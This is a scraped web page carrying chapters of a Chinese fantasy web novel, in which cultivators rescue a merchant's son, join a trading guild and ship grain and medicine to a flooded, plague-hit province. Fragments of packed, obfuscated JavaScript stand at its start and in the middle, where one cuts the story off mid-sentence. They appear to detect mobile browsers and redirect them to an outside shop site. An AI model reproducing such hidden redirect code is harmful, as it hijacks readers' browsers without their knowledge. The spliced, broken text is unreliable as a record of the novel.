l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612219|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,我保护你。” 两人躲到了人群后面,伏顺道:“没受伤吧?” 钱远志还惊魂未定,捂着心口道:“没事……吓死我了,你们来的太及时了,谢谢。” 伏顺大喇喇道:“嗐,不用谢,你哥又给我们加钱了。” 钱远志一脸内疚的模样,道:“啊,那回去我哥肯定要骂我了,过年他都不舍得给我多少压岁钱呢。” 伏顺惊讶道:“你家那么有钱,你钱还不够用?” 钱远志说:“我哥说小孩儿钱多了就跟人学坏,斗鸡走狗荒废时光,让我收心好好读书。” 赵大海在旁边听见了,哈哈一笑道:“你哥说的有道理,好好听他的话吧。” 三人说着话,步云邪和李玉真手中凝结着灵光,已经用符咒困住了暴食。大妖在灵光交织成的牢笼里挣扎,那牢笼越收越紧。段星河提起长剑,一跃而起,朝它劈了下去。 暴食无处可逃,厚厚的皮甲被砍出了一道裂缝,顿时血流如注。它疼的浑身颤抖,嘶声咆哮。顿时一阵昏天黑地,飞沙走石。趁着它的力量还没有恢复,还是赶紧杀了它为妙,不然以后自己这些人都未必是它的对手。 段星河正要了结了它,忽见一片昏暗之中,浮现出一个男人的身影。那人披着一件黑色的斗篷,手臂上缠着一条金色的蛇形臂环,若隐若现的看不清楚面目。他道:“小宝贝,怎么这么不小心,让人弄伤了?” 他抬手一挥,轻而易举地就解开了步云邪和李玉真的符咒,把暴食放了出来。他张开双臂,深吸了一口气,就见暴食体内生出了一道黑色的能量,如抽丝剥茧一般,渐渐地被那人吸走了。那人周身的气场从黯淡的灰色变成了浓重的黑色,肆意地向四周蔓延开来。 暴食被吸光了能量,嗖地变成了一个小黑点,一头钻进了那人的袖子里,委屈的像一只受了惊吓的宠物。那人哈哈一笑,道:“吃一堑长一智,下次小心一点,别再让人逮住了。” 暴食这么贪吃,脑子却少得可怜,恐怕等身体养好了,还是不会记得教训。 能轻易破除他们的符咒,这人也是有些本事。他自从来,就没正眼瞧过他们,还堂而皇之地把大妖劫走了。段星河很不痛快,扬声道:“你是什么人,报上名来。” 那人转过身去,不想以真面目示人,道:“咱们来日方长,以后有的是机会认识。走了——” 他说着一拂衣袖,身影渐渐淡去,消失在了漫天的沙尘之中。 周围的妖气消失了,狂风也渐渐停息。刚才那人的压迫感极强,他一走,众人都悄然松了口气。 步云邪总觉得那人似曾相识,道:“星哥,咱们是不是在哪里见过他?” 段星河也有同样的感觉,一时半会儿又想不起来。李玉真低声道:“幸亏他没动手,要不然咱们几个恐怕要吃亏。” 段星河把剑甩回鞘里,冷冷道:“就凭他,藏头露尾的,有什么好怕的。” 他虽然嘴上这么说,却也看出那人的本事不小,至少比他们强出一大截。这人既然来救暴食,那大妖应该就是他放出来祸害人的。 他心思一动,道:“这人是万象门的,他应该就是钱正宇说的那个金环使。” 先前金环使劝说钱老爷子加入万象门不成,就放出了大妖骚扰他,如今事情败露,他才出来收拾残局。李玉真也想到了这一层,道:“这人确实像跟薛红玉一伙的。诶,你们说他跟那个夜游神有什么关系,会不会是他换了个名字来的?” 众人来到这里时日已久,听不少人提过夜游神这个名号了。据说夜游神是万象门创始者,是虺神最忠实的信徒,力量十分强大,满月之夜的夜巡也是他创立的。虽然夜游神已经销声匿迹很多年了,但江湖中一直都有他的传说,至今老一辈人提起他都为之色变。这样的人若是回来了,必然会掀起一场翻天覆地的大风浪,岂会这样悄无声息? 段星河道:“夜游神应该挺厉害的吧,跟千机门的教主平起平坐,要是还活着早就成了半神之身了。刚才那人是不好对付,但远没到那个份儿上。” 李玉真道:“那他会不会隐藏了实力,让人摸不透他的底儿?” 众人沉默下来,这样倒也不是不可能。但段星河总觉得那人不是夜游神,至多是他的一个马前卒罢了。 钱远志不明白他们在谈什么,生怕那些恶人杀个回马枪,小心翼翼道:“咱们能回去了吗?” 段星河回过神来,道:“喔,回去吧。” 众人往回走了没多久,就见钱正宇骑着马,带着一群侍卫顺着脚步找了过来。他见小弟好端端的,又惊又喜。他翻身下了马,紧赶几步扑过来,紧紧地将小弟抱在了怀里。钱远志呜咽道:“大哥,我差点就见不到你了……咳,轻点,我喘不上气了。” 钱正宇把手臂放松了一点,随即弹了他个脑瓜崩,道:“让你赶紧回去你不听,非要看热闹,自己成热闹了吧?” 钱远志道:“对不起,我以后不这样了。” 他灰头土脸的,被吓得不轻。钱正宇也不忍心再责怪他了,道:“你先上马。” 他转头对段星河道:“那妖怪呢?” 段星河道:“被我们赶跑了,它受了重伤,不会再回来了。” 钱正宇松了口气,道:“那就好,辛苦各位了。” 他翻身上了马,叫几个侍卫把坐骑让给段星河等人。众人回到了钱家,仆人已经把满地的碎石头和秽物都打扫干净了。 钱老爷听说小儿子被妖怪抓走了,急得像热锅上的蚂蚁,搓着胖手在大门前转来转去的。他远远地望见一行人带着钱远志回来了,激动地冲上来道:“小宝,你没事吧!” 他紧张得浑身的肥肉都在颤抖,上上下下地把儿子看了一遍,见他安然无恙才放了心。 钱远志下了马,被他爹一把搂在怀里,就像一头扎进了一座肉山里。他道:“我没事,多亏了这些大哥大姐救我。” 钱老爷连忙道:“好,多谢几位小英雄,你们救了我和我儿子,我要好好答谢你们。快进来,先歇一歇再说!” 段星河等人进了钱家大宅,折腾了大半天也累了,先回房歇了半日。傍晚时钱百富让人来请他们吃饭,段星河都有点心理阴影了,道:“又吃?” 小厮道:“老爷已经没事了,就是想感谢诸位。” 妖物虽然赶走了,钱老爷好吃的毛病还没彻底改变,只能慢慢来了。段星河道:“稍等片刻,我们这就去。” 兄弟几人收拾利索了,去了前头花厅。饭菜摆了上来,这回没了烤骆驼,都是些精细的菜肴。钱百富解决了一桩心事,状态比从前好多了,言谈间看得出当年叱咤商海的风采。 钱正宇和钱远志坐在父亲身边,态度十分和气。钱老爷举杯道:“多谢各位救了我和我儿,你们是我钱家的恩人,我敬你们一杯。” 段星河等人举起了酒杯,一饮而尽。钱正宇一改之前高傲的态度,称赞道:“不愧是钦天监的大人,一出手就赶跑了妖物,本领着实高强!” 段星河还记着他对自己颐指气使的事,道:“钱公子,你答应我的事,可千万别忘了。” 钱正宇知道他是说地牢里的那些人,道:“他们都好好的,段兄放心就是了。” 钱百富不知道他们在打什么哑谜,觉得光给报酬实在不足以表达自己心中的感激。他感慨道:“你们帮了我这么大的忙,我们能为你们做些什么,尽管提,千万别客气!” 他眼神里充满了热情,真挚地要报答他们。段星河略一沉吟,心里还真惦记着一件事,如今钱老爷这么说,自己提出来应该不算冒昧。他说:“晚辈有个不情之请,不知钱老先生能不能答应。” 钱百富道:“你们尽管说,能帮的我一定尽量帮忙!” 41.跑商 一 厅里的人都看着这边,段星河道:“钱老先生的万通商会发展的这么好,晚辈想加入进来,行走各国之间跑个商,挣点盘缠。不知道老先生能同意么?” 要加入万通商会,按规矩得累计有一万两以上的缴税记录,还要有一定的资产证明才能加入。段星河才来这个世界半年,什么也没有,知道有点难办。钱百富咧嘴笑了,大方道:“这不是难事,几位愿意加入是瞧得起万通商会,我亲自做你们的推荐人就是了。” 众人顿时振奋起来,加入了万通商会,跟同道进货有折扣,缴税也有优惠。商人的嗅觉比任何人都敏锐,小到针头线脑,大到国家之间的风云变幻,都跟商机有千丝万缕的联系,加入之后连消息都比别人更加灵通,可谓有百利而无一害。 段星河十分高兴,站起来道:“多谢钱老爷,我敬你一杯!” 钱百富把酒一饮而尽,笑道:“好好,大家别客气,今天开怀畅饮,好好吃一顿。” 他身上的妖物已经被驱除了,整个人也变得爽朗豁达,而且很通情达理。钱正宇身上的压力也消失了,整个人松弛下来,对段星河有点愧疚。他举杯道:“段兄,之前多有得罪,请你别放在心上。” 他既然道歉了,段星河便也不计较了,道:“钱少主关心父亲,难免着急上火,无妨。” 墨墨从桌子底下伸出鼻子来,灵活地嗅了嗅,似乎是想问问他们聊完了没有,什么时候开动。钱百富心细如发,见了哈哈一笑道:“弄两个饭碗来,给这两个小朋友也满上。” 侍女拿了两个饭盆放在墙角,盛了些水煮的大骨头、烧鸡腿和剁碎的蔬菜放在碗里。墨墨和小对眼还挺规矩,大人不点头,它俩就坐着眼巴巴地看着,馋的流口水也没动。 步云邪道:“钱老爷赏你们的,吃吧。” 两个崽子立刻冲过去,埋头开吃。其他人也动了筷子,安安静静地吃起饭来。钱老爷病好了,吃东西又恢复了文雅的模样,与之前判若两人。 角落里的那两只灵兽似猪非猪,似猫非猫,吃起东西来连耳朵都在使劲儿。钱远志手里端着饭碗,眼睛却盯着它们看,道:“你们修仙的人真有意思,不光能上天入地,养的小动物也稀罕得很。” 伏顺啃着鸡腿道:“整天在外头东奔西走的,总能碰上些稀奇玩意儿。你想要么,我们再遇上了托人给你送一个来。” 钱正宇听见了,轻咳了一声,道:“玩物丧志。” 钱远志只好道:“算了吧,我得好好念书,我哥指望我考功名呢。” 一众人吃了饭,段星河等人回去歇了一宿。次日一早,他去了那个小院子,跟步云邪、李玉真一起去看望那些被关着的人。步云邪将手握在一人的脉门上,一股金色的灵力环绕着那人的身体,流水一般洗去了他体内污浊的气息。一个、又一个,那些人渐渐清醒过来,也没有那么想吃东西了。 那些人里病得重一些的还要休养一阵子。受伤轻的人已经恢复了神志,拉着段星河的手道:“谢谢你们,敢问少侠高姓大名,我回去给你们立长生牌坊!” 段星河笑了一下,道:“不用了,是钱老爷让我把你们放出来的。他咬伤了你们,也很抱歉。” 那人知道钱家势大,走漏了消息对自己没好处,道:“我们都是孤儿,若是没有钱老爷捐助,我们也早就没命了。我不怪他,也不会说出去的。” 其他人也都是这个意思,段星河点了点头,有些事不必说出来,大家心里都有数。 他们被关了这么久,身体都很虚弱。钱正宇让郎中给他们诊治身体,又给了他们一笔封口费,事情就这么平息了。 钱老爷亲自做了段星河等人的推荐人,邀请他们加入了万通商会,把腰牌给了他们。乌木的牌子正面写着万通商会四个字,刻了个金元宝和几枚铜钱的徽记,里头涂着金粉。背后刻着他们的名字,每个人都有一块。伏顺激动的不行,小声道:“要发达了、要发达了!” 赵大海翻来覆去地看着牌子,也喜欢的不得了,仿佛自己从此就能发家致富了。 众人纷纷道:“多谢钱老爷。” 钱百富笑道:“别客气,应该的。以后拿着这牌子可以打折住商会的客栈,招牌上有咱们万通标记的就是了。从同会的商人那里进货也有折扣,各国缴税的优惠不一样。给你们的报酬我都送到凌烟阁去了,这里还有二百两银子,感谢你们去救我小儿子。” 段星河接过了银票,感觉这段时间受的一点小气也不算什么了。他跟其他人收拾了东西,准备离开这里了。钱老爷和钱正宇过来送别,道:“一路顺风。” 段星河道:“多谢招待,我们走啦。” 这时候就听见有人喊道:“等等,等等我——” 小少爷带着伴读风风火火地跑过来,钱正宇皱眉道:“你怎么又逃课?” 钱远志理直气壮道:“他们救了我,我得亲自来送送他们。” 他跑的上气不接下气,上前跟段星河拥抱了一下,道:“路上小心,有空寄信回来。” 他不能出远门,特别羡慕这些人能出去游历。他凑在段星河耳边低声道:“看到有什么好玩的灵兽,给我捎一只回来。” 路上到处都是奇珍异兽,随便抓一只温顺好养活的不难。段星河道:“行,托人给你送到驿馆。” 钱远志十分高兴,道:“多谢,我就知道你是好人!” 一行人告别了钱家人,纷纷上马回了驿馆。他们出去了十来天,一直都绷着精神,此时终于放松下来。这个任务做得实在不容易,为了挣点生活费,他们几乎把命豁上了。他们就像刚离开家的野兽,不得不体会生存的艰辛。 不光活难干,人也不好对付,行走在外是得有点见人说人话见鬼说鬼话的本事。段星河不太喜欢这样,他本身是有些固执的,只想追求一个自在。但想想师父为了养活这么一大家子人,该低头的时候也得低头,自己为了兄弟们,也只能适当妥协。 外头晴空万里,他坐在窗前擦剑,慢慢寻思着,刚开始拿剑的手,总有一天会磨出茧子;等心里也磨出茧子之后,应该就不会为外物动容了吧。 休息够了,段星河和李玉真去凌烟阁见了分堂主刘靖,道:“任务完成了。” 刘靖把银票递了过来,道:“你们能赶走那大妖,还没伤到钱老爷,实在厉害。” 报酬加保密费,一共一千一百两。段星河收了起来,感觉身心舒畅,谦虚道:“运气好而已。” 刘靖看见了他们腰上万通商会的腰牌,羡慕道:“收获还不少啊,万通商会一般人很难进的。” 李玉真折扇一展,轻轻摇了摇道:“把脑袋别在裤腰带上干活,当然得多拿点好处。” 刘靖哈哈一笑,靠在桌边道:“加入商会了,手里还有本钱,打算大干一场么?” 段星河正想找个人问问,道:“我们没经验,想做点小生意试试水,接下来正好要去夷州,不知道那边什么好卖?” 刘靖想了想,道:“我倒是有个消息,前阵子下暴雨,夷州过境的大凌河决堤了,淹了一大批田地。现在那儿粮食价贵,你们可以试一试。” 段星河生出了些兴趣,道:“怎么回事,官府不救灾么?” 刘靖道:“那边地方不大,一共六个郡,归夷州王管,大部分居民都是祈族的人。夷州王忙着自己修仙,不怎么管事,那地方民风彪悍,管也不听。救灾肯定是救的,但官府现在也买不到粮食,当地的商人又哄抬物价。那边经商的背后都是夷州王的宗亲,就指着这时候趁火打劫呢,价格压也压不下去。” 李玉真手中折扇一合,道:“这么说,我们去了反倒是救人的了?” “那可不,”刘靖道,“你们要是想多赚点,就自己卖。要是想行善积德,就低价卖给官府。夷州跟大幽一直不对付,燕丘不产粮食,他们只能从巴蜀运粮。那边道路狭窄,一进一出个把月耽误进去,当地的粮食价格又要涨一波。你们若是能填了这个空子,起码两个月内稳赚。” 段星河有些心动,但从来没做过生意,头一步不好迈。刘靖提醒道:“话说回来,做生意有风险,你们可千万小心,别把好不容易赚来的辛苦钱都搭上了。” 他说的不错,段星河道:“我再想想吧。” 刘靖微微一笑道:“我看你们是能做大事的人,也别太束手缚脚了。” 李玉真道:“好,多谢。” 凌烟阁的耳目灵通,刘靖给的这个消息十分有用。段星河回去想了半日,觉得可以试一试。 当天晚上,他切了几盘西瓜,把人都叫到了自己屋里来,道:“兄弟们,开个会。” 外头传来蝉鸣的声音,把夏天的夜晚衬得颇为安闲。屋里点着灯,步云邪穿着白色的单衣,靠在罗汉床一角,热的有点慵懒。宋胡缨坐在一把太师椅上,搂着膝盖上的小对眼。李玉真站在她身边,轻轻摇着扇子。小对眼被风扇到了,身上的灰毛一动一动的,舒服地眯起了眼。赵大海穿着对襟白坎肩,露着两个肌肉饱满的膀子,抱着墨墨坐在旁边。伏顺搓了搓手,兴奋道:“要发钱了吗?” 段星河坐在罗汉床的另一边,把白天收到的银票拿了出来,道:“一共一千一百两,加上救钱小少爷追加的二百两,一共一千三百两。咱们加入了万通商会,不妨试着做点生意。我听说夷州遭了大水,粮食紧缺。正好咱们要去那边,要不就带点粮食过去,拿一千两做本钱,赚了钱大家再分,你们说怎么样?” 众人没回答,段星河环顾了一圈道:“表决一下吧,不同意的举手。” 伏顺有点担心,好不容易赚来的钱,怕连个响都没听见就赔了。他试试探探地举起了手,发现其他人都没动,又把手缩了回去。 赵大海没什么主意,但对段星河十分信任,道:“大师兄,我没什么见识,就会赶车,我都听你的。” 李玉真和宋胡缨都是达官贵人家的子弟,不缺钱花。宋胡缨打了个呵欠道:“无所谓,怎么样都行。” 李玉真豁达道:“我也没问题,万一赔了就从头再来嘛。” 步云邪放下了茶杯,微微一笑道:“我觉得可以,试试吧。” 段星河道:“一票否决,五票同意,那就通过了。顺子,你要是不乐意,我就先把你那份给你。” 他说着拿出二百两银票递了过来,伏顺犹豫了一下,没接。 伏顺不想太不合群了,而且以他自己的本事,根本就赚不到这些钱。他道:“哥,我不是否决,我就是弃权了。” 赵大海一把搂住了他肩膀,道:“兄弟,目光放长远一点。搏一搏,黄土变黄金嘛。” 李玉真道:“就是,咱们都是有大富贵的人。挣了钱给小对眼也买个金牌子,省得它老眼馋瓜皮。” 大家这么乐观,伏顺也被那种气氛感染了,咧嘴一笑道:“好,我就指望你们带飞了。” 隔天段星河去万通商会的粮店问了价格,一千两白银能买三千三百多石大米,商会内部能给到五千石的优惠。段星河先买了一千石粮食,打算去试一试。他让人运到了驿馆,一股粮食味儿扑面而来。大家看着堆积成山的麻袋,感觉这一路要费不少力气了。 伏顺道:“这怎么弄,雇人赶车跟着咱们么?” 段星河已经想好了,道:“不用,哪那么麻烦。” 他让人在车上盖上雨布,拿绳子捆起来。忙活完了之后,粮食都被固定在车上。他低头对墨墨道:“好儿子,考验你的时候到了,看看你能吃多少。” 墨墨听懂了它爹的话,张开了深渊巨口,把一辆粮车吞到了肚子里。众人都震惊了,道:“这么厉害?” 小对眼更是惊讶,没想到它的嘴张开来有这么大。它就站在墨墨旁边,瞬间感觉一个黑洞在自己面前张开,深不可测。它吓得浑身的毛都炸起来了,跳起来躲进了李玉真的怀里。 李玉真摸着它的背,道:“知道它的厉害了吧,人家平常都让着你呢。” 一会儿功夫,墨墨已经吞下了一半粮食。步云邪有点担心,道:“还行吗,别勉强啊。” 墨墨停下来歇了片刻,又张嘴吞下了一辆大车。段星河也不放心,道:“走两步,还能动么?” 墨墨走了几步,又飞了起来,它的身体跟之前没什么变化。粮车吞进去之后就存在了另外一个空间里,根本不坠它肚子。但大家还是有种泰山压顶般的感觉,道:“好好好,你继续。” 墨墨花了一炷香的功夫,把剩下的大车全部吞了进去。它打了个嗝,慢吞吞地朝众人走了过来。大家忍不住往后退去,光是看着它都觉得沉。步云邪伸出了手,道:“过来。” 墨墨拍着翅膀飞到了他怀里,步云邪掂了掂它,感觉跟之前没什么区别,松了口气。二十辆大车粮食就这么被它轻而易举地装起来了。这样一来既轻快方便,还隐蔽安全,简直是个天生的跑商神兽。 步云邪摸了摸它脑袋,觉得自己真是养了个宝贝,道:“好孩子,真能干!” 他露出了笑容,十分俊美。墨墨的眼睛亮晶晶的,能帮到它爹特别自豪。 小对眼嗷地叫了一声,似乎有点嫉妒。李玉真笑了,道:“没事,你能抓耗子就很好了,每个人都有自己的长处嘛。” 众人休息了一日,次日便离开了驿馆,正式踏上了去夷州的道路。他们听不少人说过,夷州的修道者不少都修邪法,遍地是妖魔,当地民风彪悍,谁都不好惹。大家心里都有了些准备,赵大海赶着车进了夷州,到了地方却发现实际的情形跟他们想象的不太一样。 此处的百姓多是祈族人,男子有文身儋耳的习俗。不少人的耳朵上都戴着好几个沉重的耳环,脸上也有或多或少的刺青,实在说不上好看,但看得多了就习惯了。 大凌河从夷州的中部横穿而过,多年的泥沙堆积形成了悬河。前阵子这边下了半个月的暴雨,大凌河不出意外的又决堤了。这次势头格外凶猛,洪水淹没了不少农田,今年的收成都没指望了,仓库里的粮食也泡坏了。 大水刚刚退去,路边的房子被淹的破破烂烂的,百姓们忙着修房子,又有些生了病的人不住咳嗽,更多人饿得面黄肌瘦的,佝偻着腰来来去去,试图挖一点野菜充饥。 段星河骑着马从路上经过,见到了这情形有些动容,下意识想起了小时候自己经历过的饥荒。做生意是需要一些冷血的天赋,他心里告诉自己,他的本钱也是拿命挣的,不是什么救苦救难的活菩萨。即使如此,他还是有些不忍。 伏顺扒着大车看外头,见了路边的淤泥和乱七八糟的农田,低声道:“怎么淹成这样?” 李玉真道:“天灾,没办法。” 这里住的都是些贫困的人,一发大水,他们受的苦最多。有被水冲走找不到尸首的,有饿死的,也有感染瘟疫病死的。远处有人哀声哭了起来,孝子哗地一声摔碎了瓦罐,一群人抬了一口薄皮棺材出来,向远处的乱葬岗走去了。黄纸撒的漫天飞扬,段星河远远地望见一黑一白两个人影站在屋门前,随着送葬的人走了一段路。 步云邪也看见了,道:“是青冥台的人,来接引亡魂了。” 段星河道:“这边遭了灾,没的人太多了。” 白无常看见了他们,他手里揣着招魂幡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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段星河没有立刻答复,只是客气道:“多谢,我们回去商量一下。” 步云邪的目光微动,他们收购价都这么高,往外卖起码要翻倍,一般人根本买不起。到时候百姓吃不起饭,没被水淹死,却被饿死了。众人出了粮店,李玉真叹道:“什么人间疾苦。” 步云邪道:“卖给哪边?” 段星河一直想着刚才那些灾民,心里很不好受。这种时候粮食就是人命,就连他自己这条命,当初也只值一沓高粱煎饼而已。他沉声道:“去官府吧。” 伏顺忍不住道:“别啊,大师兄,卖给官府少挣不少钱呢。” “咱们也不差那两个钱。”段星河停下了脚步,“就当行善积德了呗。官府收了粮食是要发放给百姓的,能多救几个人就多救几个吧。” 伏顺犹豫了一下,道:“咱们大老远跑一趟也挺辛苦的,你再想想嘛。” 李玉真道:“你一直在车上睡觉,哪辛苦了。要辛苦也是瓜皮辛苦啊。” 墨墨正窝在赵大海的兜帽里睡觉,听见了自己的名字,耳朵动了动,片刻又睡着了。 段星河倒是十分民主,道:“要不就投票吧,想卖给粮店的举手。” 伏顺把手举了起来,发现其他人都没动,只好讪讪地把手缩了回去。步云邪嘴角轻轻一勾,就知道会这样。段星河平静道:“一比五,卖给公家吧。” 他说着翻身上马,往官府那边去了。伏顺回过味来了,道:“不是……大师兄你是不是故意的,每回都来这一套。” 段星河抿了一丝笑,没说话。赵大海提着鞭子抽了一下地,扭头道:“上不上车?” 伏顺不想被他们扔下,连忙跟了上去,道:“等等我啊。” 段星河找了个僻静的地方,让墨墨把那一千石粮食吐了出来。众人眼看着小巷子里出现了一辆辆装满粮食的大车。墨墨怕弄丢了,就放在嗓子眼儿附近,很快就找到了十八辆。 伏顺像个守财奴似的,把车反复数了好几遍,道:“还有两辆呢?” 墨墨低着头吐了半天,好像是滑到里面去找不到了。伏顺急道:“你再好好找找,都是钱啊!” 步云邪皱眉道:“你别催它。” 墨墨找了半天,终于吐出了最后两辆车。伏顺十分兴奋,一把把它抱起来了,用力蹭它道:“我的宝,小叔爱你!” 墨墨不喜欢被他抱着,挣扎了几下,飞到了步云邪怀里。步云邪摸了摸它的头,道:“辛苦了。” 段星河让其他人在这里看着车,自己和步云邪去了官府。当地的太守到处都筹不到粮食,正一筹莫展。他身边的师爷道:“大人再坚持一下,大王已经派人去巴蜀运粮了。” 太守道:“蜀道险窄,运粮一来一回起码还得一个月,这段时间怎么熬过去?” 师爷也没什么办法,道:“大幽和大新都跟咱们交恶,大王不愿派人去那边买粮食,做生意的人也不敢过来,只能这么硬撑了。” 夷州的民风彪悍,百姓家里都有刀枪弓箭,常有人结伙打劫过路的商人。时间长了,行商都不敢来这边做生意,就算夷州王给他们税收优惠,也难以吸引到人。前阵子有商人带了些粮食从大幽过来,结果入境没多久就被饥民们抢了个精光。太守派人赶到的时候,车都被砸了,商队里的人也都逃走了。 消息一传出去,更没人敢上这边来做生意了。太守叹了口气,一副愁眉不展的模样。这时候就听差役来报,说有商人从大幽来,带了些粮食出售。 这个关头能把粮食运进来的,本事都非同小可。太守吃了一惊,道:“是什么人?” 差役道:“是两个年轻的小伙子,好像是修道的,带着万通商会的牌子。” 太守心中生出了希望,大步向外走去。段星河和步云邪在前厅等了一阵子,太守来了,道:“两位有粮食?” 段星河道:“是,我们从大幽带来的,大人收么?” 太守连声道:“收收,七钱银子一石。你们有多少?” 段星河道:“一千石。” 太守的眼顿时亮了起来,道:“我们全都要了,在哪儿?” 段星河道:“我带你们去,大人找人运过来吧。” 小巷子里黑漆漆的,周围没什么人经过。伏顺一直怕被人哄抢了,挡在粮车前头,紧张道:“下次半夜再把粮食拿出来。” 宋胡缨靠在墙边,斩马/刀竖着放在身旁,一脸冷漠的模样,实则竖着耳朵留意周围的动静。李玉真抱着小对眼,道:“段兄怎么还不来?” 他刚说完,就见一队官兵挎着刀剑来了。官兵们见了这么多粮食都激动起来,纷纷道:“有救了,这一个月能熬过去了!” 带头的官兵道:“兄弟们,保护好粮食!” 官兵们给车套上马,有人驾着车,有的跟在旁边一路小跑,护着粮食进了太守府。 太守见了这么多粮食,十分欣喜。他走到车前,感到一股奇怪的气味散发出来,有点像被舔过的牛肉干。他忍不住道:“什么味?” 大家心里清楚,那是墨墨的口水味,但没敢说。段星河淡定道:“路上淋雨,可能有点潮,里头没事的。” 他拿匕首割断了绳索,揭下雨布扔开了。他扎开一个麻袋,里头的大米像泉水一样涌了出来,太守抓起一把闻了闻,是干干净净的粮食味儿。大米没有霉斑,也没有蛀虫,都很新鲜。 他又打开了一个麻袋,里头装的是新鲜的麦仁,颗粒都很饱满。太守十分高兴,道:“我们全收了!” 他让人称了重,收到了库房里,亲自带他们去结账。段星河拿到了七百两银票,没想到还挺顺利的,心情也好了起来。太守是个明白人,看出这几个年轻人跟一般的商人不一样。他道:“几位小道长可是会搬运之法?” 段星河心里咯噔一下子,不知怎的就被他看出来了。他沉默不语,墨墨往赵大海的兜帽里缩了缩,生怕被他揪出来。 太守脸上笑微微的,静静地看着他们,好像能看穿他们的秘密似的。 42.跑商 二 彼时修仙者甚多,每个人都有自己的神通,太守也没打算打破砂锅问到底。 夷州这边的百姓太凶蛮,寻常的商人寸步难行,很需要他们这种能自保的人来往沟通。太守诚恳道:“在下张巍,一向最佩服修道的朋友。我知道你们的本事高强,若是还有粮食,还请多运些过来。” 段星河松了口气,道:“你们要多少?” “多多益善。”张太守忧虑道,“大水过后,恐怕要有瘟疫。还需要一些药材,有板蓝根和连翘最好。” 段星河记下了,道:“我回去帮你们看看。” 张太守十分高兴,道:“多谢,你们此举救了不少百姓,修行上一定也能大有精进!” 一行人出了官府,看天色不早了,找了间客栈住下。今天挣的钱扣除成本,净赚五百两,用钱生钱确实比干别的更容易。段星河寻思着下次可以多运点粮食过来,有药材的话顺便帮他们带一些。 次日一早,众人驾着大车回到了大幽。大家轻车熟路,几天内又倒腾了一趟,挣了两千两银子。官府发放了粮食,附近的饥荒暂时缓解了,瘟疫却又悄然蔓延起来。 到处都是咳嗽的人,生病的人到了后期就开始吐血,沾染的人很快也会咳嗽发烧。这病来势汹汹,就算健壮的大小伙子也抵挡不住。百姓们没办法,只能燃烧艾叶驱除瘟疫。到处都弥漫着浓浓的烟气,有驱疫的药草味,有求神拜佛的线香味,也有给过世的人燃烧的纸钱味。整座城灰蒙蒙的,这里好像被噩运笼罩了,迟迟不见天日。 既然经历了这一切,总不能袖手旁观,段星河想为这里做些什么。除了粮食之外,他能运过去的就是药材了。他再次回到大幽,想进一些板蓝根,药铺老板开口就要三钱银子一斤。 这种药草也没有多稀罕,平常顶多三分银子一斤,如今也跟着天灾水涨船高了。段星河有点接受不了,道:“能便宜点么?” 老板倒是个实在人,拨弄着算盘珠子道:“夷州发了大水,正在闹瘟疫,指不定什么时候就传到咱们这儿来了,店里有货大家也不愿意出手。板蓝根现在一天一个价,今天你嫌贵,明天更买不起。” 段星河沉默下来,出了药铺。步云邪走在他身边,道:“不买么?” 段星河有钱也不能让这些奸商赚了,道:“有点贵,换个地方吧。” 步云邪道:“现在到处都一样,还能上哪儿去买?” 段星河从怀里掏出了羊皮地图,道:“我记得这附近有个百草门的种植园的……有了,在这儿!” 众人把脑袋凑了过来,见黄褐色的地图上画着个三叶草的标志,明溪郡南边有个百草门的分堂。百草门的弟子都是丹修,性情温和与世无争,平常就是种一种灵植、炼一炼丹药,医术都很不错。步云邪也是丹修,觉得那边可能真的能买到便宜的药材,道:“那就去看看吧。” 一行人往南边走了一天,来到了百草门在明溪郡的分堂。大老远就见这边有个郁郁葱葱的山头,不少人戴着斗笠在山间劳作。他们的门人干活的时候穿着农人的短打衣裳,修炼的时候才换成浅翠色的长衫,但无论怎么打扮,衣领上总是绣着一朵金色的苜蓿草,后面是一个白色的小葫芦,这是他们宗门的图腾,代表医者仁心,健康幸运。 段星河进了种植园,见路边生着许多三叶草,就像铺着一块碧绿的毯子。墨墨兴奋起来,飞下去在草丛里打了个滚,和小对眼追逐着蹦来跳去,把草丛压得不住动荡。分堂的屋舍建在半山腰,两个小药童从石阶上下来,见他们眼生,大声道:“喂,你们干什么的?” 段星河道:“在下是钦天监的人,想从贵派买点板蓝根和连翘,不知道有没有?” 时常有人过来买药材,他们已经习惯了。一个青衣小童道:“最近行情涨了,板蓝根二钱银子一斤,连翘也算你二钱银子好了,都是上等的品质,比药店里的好多了。” 他们种的药草都是灵植,比一般的药草更有效果,而且价格也比药店里的便宜,这一趟确实来对了。段星河和气道:“我们是万通商会的,想多买一些,能便宜点么?” 那小童不耐烦道:“万通商会的牌子在这儿不好使,我们跟他们没有合作。就这个价,你爱要不要。” 伏顺觉得他态度有点傲慢,道:“哎你这小孩儿,怎么这么没礼貌。” 那小药童一手叉腰道:“外头的草药跟我们这儿的没法比,你不识货还啰啰嗦嗦的,最烦你们这样的人了!” 另一个小药童扭头看见了在草坪上玩耍的两个崽子,道:“哎呀你们养的灵兽还吃我们的苜蓿草,这么大一片都啃秃了。” 赵大海连忙把小对眼和墨墨薅了回去,低声道:“别乱吃东西,吐出来。” 小对眼嘴里还叼着半截三叶草,舌头一卷吸了进去。那两个小童幸灾乐祸道:“我们这儿的植物都很贵的,吃了要赔钱啊。” 赵大海慌了,道:“不是,就那一根两根的,路边有的是,你讹人呢?” 小童道:“不赔是吧,我让师兄来收拾你们。刘师兄——” 他喊了几声,有人从旁边的树丛里钻出来,身上还沾着些草屑,道:“怎么啦,耽误我干活。” 一个药童道:“刘师兄,他们的灵兽吃了咱们的苜蓿草还不赔钱,你看怎么办。” 那人三十出头年纪,头上戴着个竹斗笠,手里拿着个药锄。他拍去了手里的泥土,盯着段星河他们看了片刻,道:“咦,我是不是在哪里见过你们?” 段星河没什么印象了,那人道:“在白沙郡,是不是你帮我们赶走的赤藤妖?” 段星河想起来了,之前是接了个百草门的活儿。当时有两个丹修在那边开了片地,种了些灵植,结果都被赤藤妖霍霍了。段星河带人杀了不少赤藤妖,不过内丹都被于百川偷去交任务了,自己白白帮别人赚了几十两银子。 段星河当时跟他们打了个照面,没怎么上心,没想到对方还记得。不过自己这一行人拖家带口奇奇怪怪的,他们想不记得也不容易。 